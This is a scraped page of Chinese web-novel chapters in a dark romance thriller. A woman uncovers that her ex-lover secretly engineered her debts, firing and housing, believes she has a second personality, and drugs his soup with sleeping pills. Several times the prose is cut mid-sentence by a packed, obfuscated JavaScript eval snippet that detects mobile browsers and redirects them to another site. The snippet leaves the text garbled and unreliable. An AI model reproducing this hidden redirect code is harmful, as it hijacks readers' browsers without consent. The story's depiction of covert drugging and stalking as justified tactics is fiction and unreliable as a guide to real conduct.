将近三个月不见,姜燕瘦了许多,眉宇间也没了精神气,她望向燕桐的眼神带着歉意和丝丝缕缕的担忧,还有丁点不易察觉的胆怯。 “桐桐……” “你还敢来找我,你差点害死我知道吗?”燕桐只要一想到那晚她被丢下独自偿还那笔巨款,面对那些拿着捆绑的恶人,就对眼前的人一阵失望。 “桐桐,我知道你恨我,但我求你先看个东西。”姜燕拿出手机,打开一张照片。 照片里的场景是那个会所,高档奢侈的会所门口,一个人身穿黑色的宽松毛衣,双手插兜在一群身穿西装的人的的簇拥下准备踏进会所。 而那宽硕的身形,和微卷的中长发,那背影是骆池咒! 燕桐震惊的看向姜燕,手机拍摄时间显示的竟是骆池咒出院的第二天,时间是凌晨三点,燕桐明明记得那晚上,骆池咒缠着她早早睡了,睡前她还喝了骆池咒递过来的牛奶。 是那杯牛奶,燕桐恍然大悟,她的睡眠通常很浅,这个骆池咒一向是清楚的,所以晚上也会刻意的减少翻身,也就是说那晚上的牛奶里面加了东西。 “他为什么会去那?”燕桐问姜燕。 姜燕若有所思的说:“其实那晚上我是被人逼的,有人答应我只要我把你骗来,然后假装背叛你带着我爸离开,就会帮我们还清那笔巨债,而且他们保证不会伤害你。” “如果我不答应,就让那帮人打死我爸。” “是谁?”燕桐彻底被她说懵了,但隐约间,她觉得跟骆池咒脱不了干系。 “就是她,”姜燕指着照片上的人,“对不起,我瞒了你。” 姜燕的眼神突然变的有些奇怪:“其实我早就发现不对劲了,从你答应跟我开店,我不止一次的见你半夜出门,那时候你的眼神都会变的很恐怖,含着笑直直的朝着对面的纹身店走去。” “我有次起夜看到,真的被吓到了,因为我趴在窗子上,隐约看见黑夜里,一个男人笑着朝你伸出手,然后你们就一起进了那家纹身店。” 燕桐听的毛骨悚然,她几乎以为姜燕是在胡扯。 “我以为你跟那个男人关系很好,所以才放心把你留下,我当时真的走投无路了,他逼我背叛你,还说背叛的越狠越好。” “但我最近想来想去,我不能放心让你一个人蒙在鼓里。” “所以后来我又去联系了甜品店的前店长,我反复盘问,他才告诉我当时是有人给了他一笔钱,让他联系我租那家店铺的,时间刚好是你被开除,跟我吐槽不想回老家的时候。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525842|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜燕怕燕桐不信,拿出和前店长的对话录音,以及那段有人威胁她的录音,里面的声音并不是骆池咒,但很明显那人是受人指使。 燕桐觉得脊背发凉。 按姜燕所说,从她辞职的时候,骆池咒就已经安排好一切了,店铺依附于纹身店的店长,也就是骆池咒的客源存活,是他早就谋划好的。 怪不得她租房前房东说好的是女租客,骆池咒却能在她之前入主,重逢的时候眼神也没有丝毫惊讶,更像是谋划已久。 燕桐心底生出一股从未有过的恐惧,如果真是他,那他是如何算的分毫不差,他如何知道她就一定会去和姜燕合租店铺。 燕桐突然想到姜燕口中奇怪的她,半夜会去纹身店见骆池咒的她,她为何毫无印象,她突然有种大胆的猜测,难道她真的精神分裂了。 联系从前发生的事,这个猜测渐渐在她心底落地生根,所以如果她分裂出的人格带着她的手机去找骆池咒,再被他看光聊天记录,拿捏她的所思所想还不轻而易举。 想到这,燕桐汗毛直立,自己的身体里住着另一个人,而且根本不知道她什么时候会出来,会干什么,她和她共用同一具身体。 这简直是现实版的惊悚故事。 “还有我调查过,我爸第一笔赌债是我帮他还上的,但是第二次那一百万是别人强行引诱他去的,我查过那人的电话和那天威胁我骗你来的人,是同一个。” “你爸欠下第二笔赌债是什么时候?”燕桐难以置信的问。 “三年前。” 正是她抛弃骆池咒逃回老家的时候,燕桐的目光挪到那张照片上,照片里那些身着西装的男人俯首跟在骆池咒身后,暴雨之下,有人给他撑伞,有人点头哈腰的伸出手做出请的手势。 此刻燕桐所有的猜测得到证实,真的是他。 燕桐失魂落魄的往回走,脑海中还回想着姜燕叮嘱自己不要暴露是她透露信息的事。 想到这几日被骆池咒布置的温馨无比的家,燕桐内心突然生出一种割裂的怪异感。 日日躺在他枕边的人,究竟是个怎样的人。 那晚无数棍棒落在骆池咒身上的场面,她还记忆犹新,他真是疯子吗…… 她的精神是什么时候分裂的,他日日与她的第二人格相处,是怎么还能装的那么乖巧和所无其事的。 燕桐头皮发麻,再次踏进那间出租屋的时候,她腿都在抖,如果可以,她真想转身逃跑。 门被燕桐从外面缓缓推开,一股浓浓的饭香味扑鼻而来,骆池咒拿着汤勺,见到燕桐回来,眼睛一亮笑着冲过来紧紧抱住燕桐。 “姐姐,我好想你,你去哪了?”骆池咒的身体没有温度。 骆池咒见燕桐不回应,突然抱住头:“嘶,姐姐我头疼又犯了,啊好疼。” 燕桐依旧没有动静,盯着他的目光略显惊恐。 骆池咒突然停下动作,疼痛的神色消失无踪,他俯下身子,盯着燕桐:“姐姐,你是去见谁了吗?” 17. 第 17 章 燕桐立马反驳:“没,我没见谁。” 骆池咒俯着身子,死死盯着她,唇角还带着笑意一言不发 燕桐极力掩饰狂跳的心脏,仰头看着他挤出一丝微笑:“我只是下去透透气。” 骆池咒轻笑,轻轻拉起她的手:“知道了,饭做好了,快来吃吧。”他拉着燕桐走到餐桌边坐,然后温柔的摸了摸燕桐的头,转身去厨房盛饭。 燕桐看着他的背影,身体不由自主的颤栗。 如果三年前姜燕父亲真的是被他设计,欠下第二笔巨债,那就是说从她逃跑的那刻他就开始谋划,她根本就没有逃成功。 所谓的了无音讯都是他迷惑她的假象,他竟然从那时候就开始暗中布局。 从赌债,到姜燕开店,到她和姜燕合作,再到纹身店的合租,一切都是他做的 “姐姐,想什么呢,这么出神?”骆池咒笑着端来一盘肉末茄子和西红柿炒蛋摆好,好奇的弯腰看着燕桐。 燕桐强行挤出一丝笑意:“没什么,可能刚才下楼有点着凉了。” 她逃避似的猛地站起来:“我去卧室拿点药。”她跑回卧室,把门关上。 身后骆池咒的瞳孔暗了几分,盯着紧闭的卧室房门若有所思。 屋内的燕桐死死靠在门上,手抵住门把手,生怕骆池咒冲进来。 燕桐心突突的跳,看着床边被整齐叠好的衣服,深浅分为两摞,依次外套内衬和背心,这样的叠衣服习惯是她近去年才养成的。 只因去年买的一件衣服褪色,她就养成了将深浅色衣服分开叠的习惯,而骆池咒却对这些了如指掌。 燕桐的脑中突然崩了一声,既然他能算无遗策自己会来这开店,那在国企被骚扰被辞退被行业排挤会不会……也是他干的 想到这,燕桐后背泛起一阵恶寒。 她拿出手机,犹豫良久编辑好一条信息,发给曾经国企还算是要好的同事小紫,请求她帮忙调查。 刚放下手机,门外传来了骆池咒的声音:“姐姐,你很难受吗,要不要我进来帮你?” 燕桐强压下不适,推开门:“我没事”燕桐走到餐桌前坐下。 骆池咒担忧的抹去她额头的薄汗:“都出汗了,还说没事。”骆池咒将盛好的热腾腾的米饭摆在燕桐跟前,又细心的摆好筷子。 “姐姐,快吃,这些都是你最爱吃的。”骆池咒眼睛亮亮的,看着燕桐的模样满是乖巧。 燕桐却开始恐惧他的乖,她拿起筷子,埋头将米饭塞进嘴里,只想快点吃完饭。 这场饭表面还跟往常一样和睦,骆池咒一个劲的给燕桐夹菜,给她盛汤,用毯子盖腿,饭后立刻起身收拾餐桌洗碗,不让燕桐动手。 燕桐吃完饭立刻找了个借口溜了出去,而从前天天粘着燕桐的骆池咒,这次却也没细问,放任燕桐离开。 不知是不是后遗症,燕桐出门后还频频回头,生怕被骆池咒跟踪或者监视,多次确认没人跟随,她才打车径直去了医院。 天气晴朗,气温也开始回升,燕桐下了车就直奔医院的神经内科。 今天是周末,往日乌泱泱的医院今天也格外的清冷,走廊里只有零星的几个人 燕桐拿着在大厅挂的号直奔三楼的问诊室,她在门口犹豫了很久,内心忐忑。 毕竟平白分裂出第二人格是个人都会害怕,这种对精神和身体的不自控甚至抹除记忆是一种难以想象的折磨。 燕桐犹豫良久轻轻推开问诊室的门,电脑前坐着一个上了年纪的男医生,头发已经灰白,他没有抬眼,唇角微启说了句请坐。 燕桐忐忑的坐下:“医生,我好像精神分裂了。” 医生只是抬头看着她,目光像是观察,随后又拿出一张表让燕桐填。 大约过了二十分钟,医生拿着燕桐填好的表仔细查看,转头问:“这两年工作压力大吗?” 燕桐迟疑片刻:“很大。” 她刚毕业进入国企的这三年,为了不被淘汰制的考核刷掉,拼命努力加班工作,头发大把大把的掉,常常觉得精神恍惚。 而家里的父母却总是给她放慢气,每每打电话都逼她回老家相亲,逼她辞职考公。 家庭与工作的双重压力下,她常常精神恍惚,疲惫不堪。 “想变成什么动物吗?” 燕桐眼皮微抬,似乎对这样的问法有些惊讶:“如果可以的话,我想变成一只鸟,随心所欲不受拘束。” 医生眼里闪过了然,随后又和燕桐询问了一些日常生活,然后燕桐去检查了一个脑电波,拿着单子回来。 医生拿着单子看:“目前为止,基本可以确定你患上了精神分裂症,长期的精神和身体压力让你的精神极度压抑,你渴望离经叛道的活,不用沿着既定的路线行走,由此才会衍生出第二人格。” 燕桐难以置信,她总以为自己只是压力大,从没想过竟然会分裂出第二人格。 “医生,那有什么办法治好吗?” 医生摇摇头:“第二人格一旦出现,除非□□消失或者第二人格精神崩溃自杀,否则无法通过药物治疗。” 燕桐身体一软,感觉脚下的地都在旋转。 “一个身体里住着两个人,我既不能让她听我的,也不能跟她对话。” 医生:“心病还得心药医,归根结底是你潜意识对冲入压抑感极度的渴望,才会滋生第二人格。” “要想杀死第二人格,只有满足自身的渴望,减少第二人格的养分,否则你越是压抑自己,第二人格会生长的越健全,直到有一天,彻底代替主人格。” 燕桐眉头紧皱,沉思良久:“谢谢医生,我知道了。” 燕桐走出医院大门的时候,只觉得身体是飘着的,被台阶绊的一个踉跄。 按照姜燕所说,曾看见自己打扮靓丽和骆池咒深夜见面,那应该就是第二人格和骆池咒,可是她们是怎么认识的,又是怎么变的亲密的。 骆池咒对自己的了解恐怖如斯,第二人格却拿着自己的身体与他亲密无间。 燕桐得知真相不是没想过跑,但是三年前都没逃掉,何况现在还有第二人格随时回到骆池咒身边。 燕桐脸色惨白,她觉得自己像被扼住咽喉的小羊,逃不脱,跑不掉。 骆池咒和第二人格之间到底有什么瓜葛,既然她们亲密无间,那他为何纠缠自己。 他废了这么大劲将她算计过来,难道就是为了让第二人格掌控身体而杀了她! 一股恐惧从脚底蔓延至发丝,突然一阵突兀的手机铃响起,燕桐全身一颤。 屏幕显示是骆池咒的来电,燕桐颤颤微微的接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525843|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通:“喂” “咳咳”比声音先传来的是一阵虚弱的咳嗽声“姐姐,我发烧了,咳咳,你在哪里?” 燕桐眉头紧皱。 不会又是骗她回去的把戏,可是如今她不回去又能怎么办,考公的照片是小,弄清第二人格和他的算盘是大。 被一个陌生人控制身体和他亲密,燕桐想想就恶心,所以她必须回去查清一切。 燕桐:“我马上回来” 车辆从马路疾驰而过,燕桐将钥匙插进锁孔打开门的瞬间,屋内一阵浓重的药味扑面而来。 骆池咒虚弱的躺在沙发上,全身被薄汗浸透,发丝沾在脸上,身上的黑色毛衣歪歪扭扭的的穿着,露出胸口大片的肌肤。 茶几边上是凌乱的西药袋,满地打碎的玻璃杯碎片,浓稠的感冒冲剂被倒了一地。 “姐姐,我难受”骆池咒看到燕桐回来,虚弱的伸出手想拉她。 “你,你怎么搞成这样?”燕桐走过去略过他的手。 燕桐半信半疑的摸上他的额头,又在耍什么心机? 滚烫的额头让燕桐眉头一皱,她下意识摸他脖子,依旧是一片滚烫。 “你疯了吗,烧成这样还不去医院?”燕桐说着就要强行拉起他去医院,他却纹丝不动,只将通红的脸颊面朝燕桐,紧紧盯着她。 “我不想去医院,姐姐,你是不是嫌弃我了?” 燕桐一怔,又装,我不会再被你骗了。 她松开骆池咒的衣服:“不去也行,我去给你冲杯退烧颗粒。”她直接忽略了骆池咒的问题。 燕桐端着冲好的药过来,弯腰扶起骆池咒:“喝。” 骆池咒乖乖的喝完了药,他依旧直勾勾的盯着燕桐。 燕桐放下杯子被他盯得有些不自在,她却没离开而是直接坐在沙发旁,手轻轻拍在他胳膊上。 “乖,睡吧,睡醒了就退烧了。” 骆池咒觉得眼皮越来越沉:“姐姐,还是你对我好。”他还以为是退烧药的作用,说完就彻底睡着了。 一报还一报,上次你给我下药,这次换我来。 燕桐立刻起身直接朝着骆池咒的卧室走去。 骆池咒和第二人格纠缠,在他的卧室一定有线索,燕桐推开他卧室的门。 其实这段日子她对骆池咒的卧室已经了如指掌,唯独这扇上锁的柜子,她始终未见骆池咒打开过。 燕桐想这里面一定有不为人知的秘密,而钥匙一定藏在房间的某个角落。 燕桐开始弯腰对房间进行地毯式搜索,她找遍了抽屉书架窗台,甚至连骆池咒的衣服夹层都摸了,始终也没找到钥匙。 突然燕桐从床上的一摞衣服里摸到一块硬物,她揭开衣服,在一件自己粉色内裤里找到了一串红色的钥匙。 这不是她上个月丢的那件内裤吗?! 变态!! 燕桐刚想一把抽出内裤扔了,却犹豫再三还是不想让他发现给塞了回去。 燕桐转头看了眼客厅熟睡的骆池咒,迫不及待的拿起钥匙插进了衣柜的锁孔里,咔嚓一声,燕桐一喜,果然是钥匙。 燕桐正要打开柜门,却感觉到身后的光线暗了下来。 她缓缓回头,骆池咒正站在身后,笑着看她。 “姐姐,你在找什么?” 18. 第 18 章 燕桐被吓的全身一震,僵在原地。 “为什么要开柜子啊?”骆池咒缓缓靠近,双手轻抚上燕桐的肩膀。 “姐姐很好奇这个柜子里的东西吗?”他俯在燕桐耳边轻声低语。 “我,我……”燕桐心脏狂跳,恐惧犹如蛛丝一样将她紧紧缠绕。 骆池咒却突然轻笑出声:“我知道了,姐姐是想更加了解我,和我更亲密是不是?”他轻手接过燕桐手里的钥匙,指尖相触的冰凉让他瞳孔微顿。 骆池咒嘴角带着微笑,似乎直接忽视了燕桐眼里的恐惧和微微颤抖的身躯。 骆池咒将钥匙插进锁孔,轻轻转动:“姐姐想看可以直接跟我说的,毕竟凭我们的关系,没什么是你不能看的。” 他拉开柜门,衣柜里塞满了女式的衣服,红色蓝色绿色,长裙短裤背心T恤,都被整齐的挂在衣架上排列。 燕桐一眼就认出了那些衣服,都是三年前她和骆池咒谈恋爱是穿的,她明明记得逃跑的那晚,她将那些衣服连同行李箱都扔进了路边的垃圾桶。 竟也被他找到了,不过结合他这段时间的所作所为,燕桐此刻也不觉得有多惊奇了。 她皱着眉头,眼里闪过一阵失望。 本想试试查第二人格和他的事,没想到竟查出了这些。 骆池咒的目光始终落在燕桐身上,他嘴角带着淡淡的笑意,眸子里却满是了然的打量。 “姐姐,这些衣服是我的宝贝,三年前你离开,我一直有好好收藏哦,我怕被别人发现,才用柜子锁了起来。” “我们现在是什么关系?”骆池咒问。 燕桐看着他炽热的眼睛,如今她几乎看不出他在想什么,她只觉得后背发凉。 却不得不因第二人格的事而安抚他。 “我们是同居室友,还是介于朋友和恋人之间的好朋友啊,你养伤我这段时间照顾你。” 对于肯定恋人关系的话,燕桐依旧说不出口,虽然是为了安抚骆池咒好查出真相,但她仍然害怕一旦肯定了不存在的关系,会让骆池咒更越界。 或者说做出更可怕的事。 骆池咒听到同居室友四个字瞳孔明显暗了几分,连嘴角的笑都有些维持不住了,但转瞬又恢复了正常。 “姐姐说什么就是什么吧。”他的笑容更轻松,仿佛丝毫看不出不悦了。 那天过后,燕桐和骆池咒还是和往常一样相处,燕桐只在暗中偷偷观察骆池咒,手段不限于跟踪监听,甚至她还想过偷偷装摄像头。 起初她还觉得手段有些过分,但后来想到骆池咒对她做的事,她的手段只能说九牛一毛。 她做的所有事都是为了查清第二人格和他的关系,以及骆池咒将她算计到这的目的究竟是什么。 骆池咒还是和往常一样,时时刻刻粘着燕桐,总在她眼前晃,时不时的装发烧生病求哄,以前燕桐会被蒙骗而真的心疼。 现在虽然内心满是怀疑,却依然装作和从前一样。 骆池咒似乎也更放肆了些,比如不再遵守入住前的规则,会经常不穿上衣在客厅里晃,他的身体薄薄一层,肩却很宽,瘦削但看起来格外的高大。 燕桐不是没有制止过,但他依旧我行我素,甚至于洗澡时让燕桐帮他拿换洗衣物。 两人默契的没人提三年前的亲密,只维持着朋友之上,恋人未满的关系。 这种微妙的关系竟意外的达到了一种稳定的平衡,就这样被推着往前走。 燕桐却没时间将注意力花在这些事上,她每日执着的偷偷观察骆池咒,一边费尽心思调查骆池咒,还要一边防着第二人格出现做出些什么出格的事。 她甚至觉得自己有些精神恍惚,经常会睡在床上做一些很奇怪的梦,梦里总是有骆池咒的身影。 久而久之,她生出一种恐惧的猜测,她的第二人格不知操控了她的身体多久,跟骆池咒在一起是不是已经发生了不可描述的关系。 用她的身体。 可能是本身被诊断出精神分裂症,时间长了燕桐看着骆池咒的笑容竟然生出了很多可怕的想法。 她甚至想将骆池咒绑起来逼问他做的一切,又或者再次将他迷晕打开他的手机,再或者扮演成第二人格去和他见面。 燕桐甚至觉得自己被他严重影响了。 这种事换做从前,她是绝对不敢想的,她意识到自己不能再这样下去了。 骆池咒就是个变态,她跟他混迹在一起,即便是为了查清真相,也早晚有天被她同化。 她必须尽快查清然后彻底离开这。 又是一个午后的周末,燕桐去公共图书馆备考公务员,夜色降临,她收拾好书本准备回去的时候,受到了前同事发来的消息。 按照前同事所说,燕桐走后,骚扰她的那位上司就被调走了,她通过一些手段联系到了那个上司,通过送礼他果然透露了当年的一些事。 的确是有些给了一大笔钱让他这样干,还承诺行业内封杀她就给自己再升一级。 而前同事又继续追查,果然和燕桐猜想的一样,背后的那双手就是骆池咒。 但她费尽手段,却没查出骆池咒的背景。 前同事并不知道燕桐和骆池咒的关系,只在最后奉劝燕桐别跟这种人斗,根本没有胜算。 临近清明节,燕桐的父母不知道从哪听说姜燕的蛋糕店已经关门,开始疯狂催促燕桐回家,不允许她一个人留在临城。 燕桐迫不得已只好先答应下来,她回去收拾行李的时候,正好是周三,骆池咒去了纹身店工作。 燕桐刚想开门,却在包里怎么也找不到钥匙,她才察觉她走的时候根本没带钥匙。 进不了门,她只能给骆池咒打电话,可拨了四五次,那边始终显示无人接通,她又给房东打电话,却发现房东的电话也打不通。 燕桐只好下一楼找房东苏玫,她背着包下楼,走到门口时轻轻敲门,敲了很久也没人出来,显然房东也不在家。 燕桐左右看看只好背着包去纹身店找骆池咒,恰巧这会天气乌云密布,看起来马上要下雨,燕桐只好加快脚步。 她几乎是小跑着到纹身店,依旧是上次的来时的驰囱迎接她,不过这次不同的是他的银色长发变成了金色,依旧是寸头,显得有些不务正业。 燕桐礼貌颔首:“请问骆池咒在吗?” 驰囱下意识看上她手背的小狗纹身,他并不知道骆池咒和燕桐的关系,更不知道他们住在一起,只以为她是个普通顾客。 “骆哥在二楼帮顾客纹身,您可以在这稍等一下。”他的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525844|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指向旁边的沙发。 燕桐坐在一边的沙发上,驰囱犹豫片刻又问:“是纹身出什么问题了吗?” 燕桐低头看了眼手背的小狗:“没,我是来找他咨询一些事,对了,我方便上去问吗,我很快的。” 驰囱笑着摇头:“不好意思,我们这的规矩是纹身期间不能被打扰,您可以稍等片刻,估计再有二十分钟就好了。” 燕桐无奈,只能坐着等。 今天纹身店内的顾客很多,燕桐抬头望去,二楼的包间几乎都大门紧闭,一楼也不断的有纹身师和顾客流动。 外面马上要下雨,天气愈发阴暗,燕桐坐在靠近门口的沙发上,撑着头看着人来人往的顾客,百无聊赖。 驰囱坐在吧台旁边的木凳上,玩着手机似乎在跟谁聊天。 燕桐想起上次他熟稔的和骆池咒打招呼,显然他们很熟悉,但她来这两次,驰囱却并不认识她,那么她的第二人格和骆池咒见面时,又是怎么避开所有人的呢。 不可能没人见过的。 燕桐忍不住发问:“你们店开业多久了啊?”她不想看起来目的性太强,只好先假装普通顾客寒暄。 驰囱抬起眼,随意的答道:“按理说这家店开了有八年了,但是到我们这批人手里才三年不到,当初这店地形偏僻马上倒闭的时候,是骆哥独自盘下的。” “你也一直在这干吗?看着好像跟你们老板很熟?” 驰囱笑了笑:“我从十几岁就跟着骆哥干了,那时候跟着他跑场子,跟人打架,开酒吧开会所无所不干。” 驰囱说话时语气藏不住的得意。 燕桐有些惊讶,她虽然和骆池咒是同学,但她从未了解过骆池咒的过去,他的家庭,按驰囱所说,十几岁跟着骆池咒干,他现在看起来也才二十多岁,也就是骆池咒十几的时候就已经出来单干了。 “哦那还挺不容易的,那你们不上学吗?”燕桐知道这样问有些冒犯,但她还是想知道骆池咒的过去。 驰囱自嘲的笑出声:“像我这种孤儿,哪来的学上啊,要不是跟着骆哥干,跟他学手艺,我可能现在还在工地搬砖呢。” “那他呢,也是孤儿吗?” “骆哥有父母,不过是不怎么管他罢了。” 驰囱刚说完,楼上的隔间门咯吱一声被打开了,驰囱像是突然意识到自己说多了,赶紧转移话题。 “骆哥出来了,您有什么问题可以上去咨询了。” 燕桐说了句好,抬头向上看去,正看到一个穿着白色裙子的女孩,她扎着丸子头,正站在扶梯边跟骆池咒说这些什么。 骆池咒嘴角也挂着一丝得体的笑意,异常的温柔,可燕桐怎么看表情,都有些恐怖,让她不由得想起一种蛇,总会笑着装作纯良无害,然后等猎物放松警惕靠近的时候,一口咬断她的脖子。 燕桐紧紧盯着骆池咒,驰囱却误会了她的眼神,他忍不住轻声呼唤: “顾客?顾客” 燕桐这才回过神。 驰囱:“您可以上去了,骆哥对每一位来这的顾客都非常温柔,不管您有什么问题,都可以解决的。” 燕桐呆呆点头,还有些神游:“好。” 她刚想转身上楼,却见楼上那白衣女孩转身,竟是苏玫?她的房东。 19. 第 19 章 当初租房的时候,她隐约记得这位房东对骆池咒有点意思,让他住进来也是这个原因。 刚住进的那段日子,她还时常能在门口看到苏玫找骆池咒,但后来出了姜燕那档子事后,就没怎么见过苏玫,他们的交集就仅限于每月固定打房租。 苏玫好像更漂亮了,比起之前的清纯活泼,现在更多了几分知性和气质。 苏玫转过身时,锁骨纹了一只蝴蝶,她就是驰囱口中骆池咒的顾客。 此刻苏玫脸颊微红,满脸的笑容,明眼人一眼就能看出她对骆池咒的喜欢。 苏玫看到燕桐的时候,笑意微敛,她扶着扶梯走下来,骆池咒也看到了燕桐和驰囱,他眼神莫测,看不出情绪,也跟在苏玫身后往下走。 “好久不见啊”苏玫率先开口,跟燕桐打招呼。 燕桐礼貌回应:“好久不见。” 驰囱好奇的说:“你们认识啊?” “我是他两的房东。”苏玫得意的说,还转头看了眼面无表情的骆池咒。 驰囱瞬间怔住,不是因为听到她是房东,而是压根没想到我和骆池咒合租。 在驰囱眼里,骆池咒虽然对爱慕者都笑脸相迎,但他是了解他的,脸上笑的有多温柔,骨子里就有多狠。 他从来没想过,他会跟女孩子合租,以他的资产根本不会沦为和人合租,那就只有两个原因,他被人威胁或者他喜欢她。 想到这,驰囱的眼睛都瞪大了。 “咳咳”燕桐咳嗽缓解尴尬,她原来怕和骆池咒的关系揭开,被姜燕知道,传到老家。 而如今姜燕已经走了,她也没什么顾忌的了。 “我忘了带钥匙,你能把你的钥匙先借我一下吗?”燕桐对着骆池咒说。 此刻纹身店外黑云已经压了下来,雷声震天。 骆池咒扫了眼外面的天,嘴角微扬:“好啊,正好我刚忙完,也好回去。” “那正好。” 骆池咒在外人面前与在合租房里根本就是两副面孔,许是还记着答应燕桐的不让外人知道他们的关系。 不过这样也好,省去了燕桐白费精力。 “我也要回去,我们一起吧。”苏玫连忙说。 燕桐和骆池咒默认。 回到出租屋,苏玫还想邀请骆池咒去她家吃饭,说这话的时候自动忽略了燕桐,却被骆池咒婉拒。 苏玫失望的离开。 骆池咒回到屋内立刻从背后抱住燕桐:“姐姐,你是不是吃醋了?” 他声音黏腻,呼出的热气喷在燕桐的脖颈,惹得她阵阵颤栗。 燕桐本想挣扎开,却发现他手臂箍的极紧。 “姐姐,下周我生日,你陪我去个地方好不好?” 燕桐下意识防御:“哪里?” “你先说答不答应我嘛,一定是个好地方。” “到时候再……”燕桐话还没说完,骆池咒胳膊猛地收紧,燕桐瞬间觉得呼吸困难。 一连四周的空气都降了好几个度,脖颈中骆池咒的呼吸也消失了。 燕桐全身瞬间紧绷起来,生怕他又失控做出什么极端的事。 “好,好都行你说了算!” “姐姐最好了。”骆池咒放开她,朝着厨房走去“我去给姐姐做晚饭。” 屋外大雨倾盆,潮湿的空气弥漫在整个屋子里,燕桐转身回卧室换衣服,刚才回来的时候没带伞,白天穿出去的衣服已经湿了。 厨房传来一阵摆弄锅碗瓢盆的声音。 燕桐刚走到卧室门口,突然看到旁边的沙发垫下露出的白纸边缘。 她好奇的走过去拿起来看,白纸黑字清晰的写着医疗诊断报告书,燕桐一眼看到骆池咒的名字和页脚写着生育障碍的文字。 燕桐眼里闪过一阵愧疚,却突然注意到旁边的红章好像过于粗了些,她去查病的医院和骆池咒手术的医院是同一个,诊断报告的格式和盖章也应该是一样的。 燕桐看了眼骆池咒,迅速给病例拍了张照片,随后走进房间关上门。 外面传来熟练的切菜声,燕桐拿出抽屉的诊断报告和照片仔细对比,果然发现公章的字迹间隙都不一样,甚至连医院名字都打错了一个字。 燕桐反复核对得出了一个结论,连这张病例都是假的。 燕桐不禁有些自嘲,他就是个彻头彻尾的骗子,装可怜装同情装柔弱,其实骨子里变态的根本就不是一个正常人。 燕桐越想越觉得后背发亮,而外面的骆池咒还一切如常的在做饭,燕桐原本还想查清第二人格的事,甚至想偷回那些出格的照片,想在这边彻底做了了断再离开。 但如今她等不了这么久了,她必须得立刻离开了。 再带下去要被他啃得连渣都不剩了。 燕桐从抽屉里拿出自己藏起来的安眠药,攥在手心轻轻推开门出去。 “姐姐,能帮我来洗一下黄瓜吗。”骆池咒正好出声问道。 “来了”燕桐走过去拿起黄瓜,打开水龙头开始洗,骆池咒转身去客厅拿什么东西,燕桐立刻将安眠药塞进了锅里的汤里。 随后立刻心虚的开始洗黄瓜。 骆池咒去客厅的冰箱里拿调料,他的视线扫过沙发垫下被人挪了位置的诊断报告,嘴角微扬,眼里却没有一丝笑意。 骆池咒打开冰箱,拿出一瓶醋,冰箱里蔬菜食材塞得满满的,自从燕桐住进来,骆池咒就当起了全职保姆。 每天看似是燕桐在打扫卫生,其实他的生活起居,一日三餐都是骆池咒在无微不至的照顾。 骆池咒拿着那瓶用了一半的醋回到厨房,燕桐已经洗完了黄瓜。 “剩下的我来吧,姐姐去休息,别累着了。”骆池咒笑着温柔的说。 “好”燕桐转身时眼神有些闪躲。 骆池咒却若无其事的开始切菜,装盘调调料,然后盛出锅里的汤,还体贴的给燕桐那碗加了醋,一套动作熟练自然。 随后骆池咒开始将饭菜端上餐桌,三菜一汤,燕桐坐在餐桌旁掩饰着心虚,饭菜都放好后,燕桐看着饭菜说: “谢谢你这段时间给我做饭,其实你不用这么辛苦的。” 其实骆池咒的厨艺很好,这点她在大学时就领教过,那时候她也和骆池咒同居过一段时间,燕桐惊讶他一个大学生的厨艺,而当时骆池咒只是笑着说是天赋。 看着饭桌上色香味俱全的饭菜,每道菜都被处理的格外细致,就连胡萝卜骆池咒都细心的将皮刮去,青椒炒肉里看不到一个辣椒籽。 如果不是燕桐知道骆池咒做过的那些事,她真的会以为他就是一个善良又温柔悉心的小弟弟。 可此刻燕桐看着那些菜,却一点都暖心不起来,她抿了抿唇似乎在思考什么。 “快吃吧,姐姐,来。”骆池咒将碗筷摆好,将炖好的汤轻轻推到燕桐的手边。 “最近看到姐姐脸色有些发黄,应该有有些着凉了,这个黄花鸡汤是暖胃的,我专门做的,姐姐快多喝点。” 见燕桐不动筷,骆池咒眼神微暗,他好奇的问:“怎么了,是不合胃口吗?” 燕桐想起汤里加的药,随便找了个借口:“我不吃黄花,闻到这个味就难受。” “你多喝点,不要浪费了。”燕桐笑笑,随后低头用筷子吃碗里的米饭,还时不时夹碟子里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 